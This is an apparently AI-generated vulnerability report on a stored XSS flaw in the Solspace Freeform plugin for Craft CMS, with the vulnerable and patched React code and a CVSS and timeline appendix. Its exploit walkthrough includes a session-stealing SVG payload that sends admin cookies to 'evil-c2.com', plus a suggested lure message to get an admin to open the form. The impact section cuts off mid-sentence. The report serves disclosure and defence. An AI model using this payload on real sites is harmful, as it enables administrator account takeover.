CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-JP3Q-WWP3-PWV9
5.10.04%

Freeform Fallacy: DOMinating Craft CMS via Stored XSS

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 15, 2026·5 min read·11 visits

PoC Available

Executive Summary (TL;DR)

Solspace Freeform for Craft CMS (v5.x < 5.14.7) contains a Stored XSS vulnerability in the Control Panel. Authentication is required, but a low-level user can inject malicious JavaScript into form labels and integration metadata. When an admin views the form builder, the script executes via React's `dangerouslySetInnerHTML`, leading to session hijacking or account takeover.

In the modern web ecosystem, we often treat React as a silver bullet against Cross-Site Scripting (XSS). After all, it escapes content by default, right? Well, only until a developer decides to bypass those protections for 'convenience.' CVE-2026-26188 is a classic example of this hubris within the Solspace Freeform plugin for Craft CMS. By abusing the `dangerouslySetInnerHTML` property in the form builder's Control Panel, a low-privileged user can plant a persistent payload that detonates the moment an administrator tries to edit a form. It's a textbook Stored XSS that turns a routine content update into a full administrative compromise.

The Hook: Forms Over Function

Craft CMS is the darling of the agency world—flexible, pretty, and generally secure. But like any CMS, its armor is only as strong as the third-party plugins you strap onto it. Enter Solspace Freeform, the go-to plugin for building complex forms without writing code. It’s a powerful tool that allows content editors to drag-and-drop fields, configure integrations (Salesforce, HubSpot), and manage notifications.

Here’s the rub: To make that drag-and-drop interface responsive and snappy, the Freeform Control Panel (CP) relies heavily on a React frontend. The developers needed to render dynamic HTML content—think custom labels, help text with links, or icons for those third-party integrations. This is where the architectural temptation creeps in. Rendering HTML strings inside a React component is annoying; you have to parse it, sanitize it, or... you can just use the React equivalent of a raw pointer.

The vulnerability lies in the trust boundary. The application assumed that anyone with permission to create a form was trustworthy. It allowed these users to input arbitrary strings for field labels and option names, which the backend happily stored. The real horror show begins when those strings are retrieved and fed directly into the DOM of a privileged administrator.

The Flaw: A Dangerous Reaction

React, by design, hates raw HTML. It wants to manage the DOM itself. To render raw HTML strings, developers must use a property with a name that literally screams "STOP, LOOK AT WHAT YOU ARE DOING": dangerouslySetInnerHTML. The React team named it this way explicitly to prevent accidental XSS. It is not a subtle hint.

In CVE-2026-26188, the Freeform developers seemingly ignored the warning label. Throughout the Control Panel's codebase—specifically in the form builder and integration settings—user-controlled data was passed directly into this property without sanitization.

We aren't talking about one obscure location. The vulnerability was systemic. It affected:

  • Form Field Labels: The text shown next to an input.
  • Dropdown Options: The text inside a select menu.
  • Integration Metadata: SVG icons and names for CRM connections.
  • Notification Tokens: Template strings used in email alerts.

Because this data is stored in the database, it sits there like a landmine. The payload doesn't execute when the low-level user saves the form. It executes later, when a Super Admin opens the form builder to check the work. This delayed execution is what makes Stored XSS so insidious—the victim isn't the attacker; the victim is the person with the keys to the kingdom.

The Code: The Smoking Gun

Let's look at the diff. It’s rare to see a patch so clearly illustrate the mistake. The vulnerability existed in multiple React components, but the pattern was identical in all of them. Here is a snippet from packages/client/src/app/components/elements/custom-dropdown/dropdown.options.tsx.

The Vulnerable Code:

// 'option.label' comes directly from the database
<span dangerouslySetInnerHTML={{ __html: option.label }} />

It’s almost poetic in its simplicity. Take the string, shove it into the HTML. If option.label is <b>Bold</b>, you get bold text. If option.label is <img src=x onerror=alert(1)>, you get a hacked admin.

The Fix (v5.14.7):

import { sanitize } from '../../utils/sanitize';
 
// ... later in the render function
<span
  dangerouslySetInnerHTML={{
    __html: sanitize(option.label),
  }}
/>

The fix wasn't to stop using dangerouslySetInnerHTML (which would have required a massive refactor), but to introduce a sanitize() utility, likely wrapping DOMPurify. This ensures that while HTML tags like <b> or <i> might pass through, dangerous attributes like onerror or tags like <script> are stripped before React ever sees them.

The Exploit: Building the Trap

So, how do we weaponize this? We need a user account. It doesn't need to be an admin. It just needs the permission to "Manage Forms" or "Access Freeform". In many corporate setups, this permission is granted to marketing interns or content writers.

Step 1: The Setup Log in as the low-privilege user and navigate to the Freeform dashboard. Create a new form or edit an existing one.

Step 2: The Injection Drag a "Select" (Dropdown) field onto the canvas. In the configuration sidebar, look for the "Options" list. In the "Label" field for one of the options, insert the payload.

We want to do more than pop an alert box. We want persistence. We want the admin's session. Let's use an SVG payload to avoid some filter basics:

Sales Inquiry <svg/onload="fetch('https://evil-c2.com/log?cookie='+btoa(document.cookie))">

Step 3: The Wait Save the form. The interface might look a bit glitchy depending on how the browser renders the SVG, but the payload is now in the database.

Step 4: The Detonation Wait for an administrator to log in. Maybe you send them a Slack message: "Hey, the Sales Inquiry form looks weird, can you check it?" The admin navigates to the Freeform builder. The React component mounts. The dangerouslySetInnerHTML prop receives our payload. The browser parses the SVG. The onload event fires. The admin's session ID is beamed to your C2 server. You now own the Craft CMS instance.

The Impact: Why Should We Panic?

CVSS 5.1 might seem low to the uninitiated (

Official Patches

SolspaceOfficial Release Notes for 5.14.7

Fix Analysis (1)

Technical Appendix

CVSS Score
5.1/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
EPSS Probability
0.04%
Top 87% most exploited

Affected Systems

Craft CMS (running Freeform plugin)Solspace Freeform Plugin v5.x < 5.14.7

Affected Versions Detail

Product
Affected Versions
Fixed Version
Freeform
Solspace
< 5.14.75.14.7
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS v4.05.1 (Medium)
EPSS Score0.04%
Exploit StatusPoC Available
Affected ComponentControl Panel (Form Builder)

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1552Unsecured Credentials
Credential Access
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Vulnerability Timeline

Patch Committed
2026-01-21
Version 5.14.7 Released
2026-01-22
CVE Published
2026-02-12

References & Sources

  • [1]GitHub Advisory: Stored XSS in Solspace Freeform
Related Vulnerabilities
CVE-2026-26188